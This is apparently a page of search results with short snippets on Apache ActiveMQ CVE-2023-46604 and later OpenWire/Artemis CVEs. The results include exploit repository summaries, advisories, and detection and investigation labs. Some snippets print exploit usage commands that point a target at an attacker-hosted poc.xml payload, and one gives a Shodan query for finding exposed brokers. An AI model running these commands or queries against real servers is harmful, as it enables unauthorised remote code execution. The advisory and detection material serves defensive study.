71 matches found
CVE-2023-46604
攻击技术摘要:CVE-2023-46604 该脚本利用Apache ActiveMQ中的不安全反序列化漏洞(CVE-2023-46604),实现在目标服务器上的远程代码执行。 漏洞利用过程描述 漏洞目标: 漏洞存在于Apache ActiveMQ的OpenWire协议中。 允许对对象进行不安全反序列化,从而可在服务器上执行任意代码。 先决条件: 能够通过网络访问ActiveMQ服务器。 目标服务器可访问的一个恶意XML文件(poc.xml),通过URL提供。 攻击组件: Python脚本:自动化向ActiveMQ服务器发送恶意载荷。 XML文件(poc.xml):包含一个Spring...
CVE-2023-46604-ActiveMQ-RCE-pseudoshell
CVE-2023-46604 RCE 伪终端 该脚本利用 CVE-2023-46604(Apache ActiveMQ)生成一个伪终端。该漏洞源于 OpenWire 协议中的不安全反序列化,可实现远程代码执行。 描述 CVE-2023-46604 是 Apache ActiveMQ 的 OpenWire 协议中存在的一个反序列化漏洞。攻击者可利用该缺陷在运行 ActiveMQ 的服务器上执行任意代码。攻击者可以构造一个恶意 XML 文件,远程服务器将执行其中的命令。 此漏洞利用工具自动化并简化了 XML 文档的创建过程,提供基础服务器来传输文件,并通过 POST...
CVE-2023-46604
CVE-2023-46604 该仓库包含针对影响 Apache ActiveMQ 的 CVE-2023-46604 漏洞的利用脚本和概念验证 PoC XML 文件。该漏洞由于 OpenWire 协议中的不安全反序列化实践,允许远程代码执行。 描述 CVE-2023-46604 是 Apache ActiveMQ 的 OpenWire 协议中存在的一个反序列化漏洞。攻击者可以利用此漏洞在运行 ActiveMQ 的服务器上执行任意代码。本仓库中的利用脚本自动化了向服务器发送精心构造的请求以触发该漏洞的过程。 仓库内容 exploit.py - 触发漏洞的主要 Python 利用脚本。...
ActiveMQ-CVE-2023-46604
CVE-2023-46604 ActiveMQ 安全验证器 一个单文件、非破坏性的 Apache ActiveMQ CVE-2023-46604 验证器。它会启动自己的 HTTP 回调服务器,在内存中生成针对目标的 Spring XML,发送精心构造的 OpenWire 数据包,将回调与唯一令牌关联,并写入 CSV/JSON 证据。 该项目专为授权渗透测试和资产清单验证而设计。它刻意不 实现反向 Shell、无限制命令执行、CIDR 扩展、持久化或载荷暂存。 验证器能证明什么 提供两种固定的验证模式: rce 执行一个固定的、只读的身份探测命令,并将其输出返回给内置 HTTP...
CVE-2023-46604-Apache-ActiveMQ-RCE-exp
项目参考 本项目是参考 https://github.com/X1r0z/ActiveMQ-RCE 项目的 exp 来重写的一个 python 版本的 exp 。 用法 root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 其中 -p 参数默认为 activeMQ 的默认端口。-x 参数注意需要加上协议的前缀。 介绍 这里附上 openwire 协议的图示就很明白了。 下面给出的是 Throwable 类型的数据包格式。...
CVE-2023-46604
CVE-2023-46604 01. Apache ActiveMQ 和 OpenWire 1 Apache ActiveMQ 与 OpenWire 概述 ActiveMQ 是一个开源的消息传递和集成模式服务器,它包含支持 JMS 的代理(Broker),不仅可以在 Java 环境中使用,还能够实现使用多种语言的系统之间的通信。此外,通过集群功能、数据库以及文件系统,它维护了各系统之间的一致性和持久性。 OpenWire 是 Apache ActiveMQ 使用的一种二进制消息协议。它专为代理(ActiveMQ)与客户端之间的高效数据传输而设计。 CVE-2023-46604 是...
CVE-2023-46604
CVE-2023-46604 CVE-2023-46604 漏洞利用工具 此工具可帮助利用此漏洞。 用于查找目标的 Shodan 查询: root@kitploit: product:"ActiveMQ" port:"61616" 工具使用方法: root@kitploit: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single target: python3 exploit.py -ip IP -c http://YourVPS/poc.xml...
OpenWire-CVE-2023-46604-Investigation
OpenWire-CVE-2023-46604-调查 OpenWire 实验室 在我担任二级安全运营中心(SOC)分析师期间,我收到了一名一级分析师上报的事件,涉及一台可公开访问的服务器,该服务器被观察到与多个可疑的外部 IP 地址进行通信。 对此,我启动了标准的事件响应(IR)流程,包括将该受影响服务器与网络隔离,以防止横向移动和潜在的数据外泄。随后,我从 NSM 平台获取了一份数据包捕获(PCAP)文件以作进一步调查。 我的目标是分析网络流量,并识别任何恶意活动指标。 1. 识别第一个可疑的外部 IP 地址 在分析网络流量并审查与该服务器建立的连接后,我识别出与 OpenWire...
artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo
An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...
artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo
An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...
CVE-2026-67593
A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...
CVE-2026-67593 Apache Artemis, Apache Artemis, Apache ActiveMQ Artemis, Apache ActiveMQ Artemis: Pre-authentication Openwire protocol handling can result in queue deletion
A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...
CVE-2026-67593
CVE-2026-67593 allows an unauthenticated remote attacker to delete arbitrary durable queues on Apache Artemis (2.50.0–2.56.0) and Apache ActiveMQ Artemis (1.0.0–2.44.0) by crafting a malicious OpenWire RemoveSubscriptionInfo command. The root cause is the processRemoveSubscription() method, which...
EUVD-2026-75245
A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...
CVE-2026-67593 Apache Artemis, Apache Artemis, Apache ActiveMQ Artemis, Apache ActiveMQ Artemis: Pre-authentication Openwire protocol handling can result in queue deletion
A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...
CVE-2023-46604-LAB
CVE-2023-46604 – Apache ActiveMQ RCE OpenWire Protocol 此仓库记录了一个用于理解和检测影响Apache ActiveMQ的CVE-2023-46604漏洞的实验室环境。 此项目的目标: 了解攻击行为在协议层面的表现 捕获恶意的OpenWire流量 使用Suricata构建检测规则 记录步骤,用于教育和防御安全用途 ⚠️ 重要提示 :此仓库仅供教育和防御安全目的。 此处不包含攻击代码。仅包含实验室搭建、检测和缓解步骤。 目录 实验室网络拓扑 ActiveMQ安装笔记 Wireshark检测步骤 Suricata IDS规则与配置...
ExploitScript-CVE-2023-46604
ExploitScript-CVE-2023-466064 免責事項 このリポジトリには CVE-2023-466064 の概念実証コードが含まれており、厳密に教育目的 で提供されています。作者および貢献者は、いかなる違法行為も推奨しません。ここに提示された情報は、学術的、セキュリティ研究、テスト目的、および HackTheBox のマシン Broker の現在の解決のために使用されます。...
CVE-2026-50734
Memory Allocation with Excessive Size Value vulnerability in Apache ActiveMQ Client, Apache ActiveMQ, and Apache ActiveMQ All allows an unauthenticated network attacker to cause a broker DoS by sending a crafted WireFormatInfo frame with a malicious large size value. The broker may allocate memor...
CVE-2026-50750 Apache ActiveMQ Broker, Apache ActiveMQ, Apache ActiveMQ All: Pre-authentication OpenWire DoS following fix for CVE-2026-49270
Denial of Service via Out of Memory vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ, Apache ActiveMQ All. Following the fix for CVE-2026-49270 an unauthenticated attacker can now cause broker OOM by sending an repeated BrokerInfo commands without sending a ConnectionInfo, until the broke...
CVE-2026-53917
CVE-2026-53917 describes an unbounded memory allocation vulnerability in OpenWire property unmarshalling in Apache ActiveMQ and related builds. An authenticated user can send a crafted OpenWire Message with a very large encoded size value for a message property map, causing OpenWire maps to be un...